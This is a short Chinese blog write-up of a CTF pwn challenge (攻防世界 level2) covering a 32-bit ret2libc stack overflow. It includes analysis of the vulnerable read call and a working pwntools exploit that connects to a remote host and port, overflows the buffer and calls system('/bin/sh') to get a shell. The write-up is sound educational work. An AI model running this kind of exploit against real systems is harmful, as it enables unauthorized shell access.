week3 T5


T5 level2

2023-01-15WP
攻防世界pwn题
考点:ret2libc1
(不是我不想往下做,而是往下做的话真的是要补太多知识了,新的知识还没学会,只好找一题来划一下水了……)

0x01

file,checksec —— 32-bit,开启NX

0x02

IDA一看没啥,点进vuln函数找到一个read函数


由图中我们可以看到,buf分配的空间为0x88,而read函数读取0x100,显然存在溢出
shift+f12找到有字符串/bin/sh,并且在vuln函数里有system函数,只不过参数是”ehco Input:”罢了
记下system函数的plt表地址0x08048320

这样就只需要我们覆盖buf,将system函数地址写为返回地址,并将/bin/sh作为参数传递其地址即可

0x03

exp

from pwn import *

p = remote(' 61.147.171.105 ', 60218)
payload = b'a' * (0x88 + 4) + p32(0x08048320)+b'bbbb' + p32(0x0804A024)
#0x88为buf大小,+4是ebp大小,p32(0x08048320)是打包system地址,b'bbbb'是填充无效system返回地址, 
#p32(0x0804A024)是/bin/sh地址

p.sendline(payload)

p.interactive()

文章作者: lmarch2
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 lmarch2 !
评论
  目录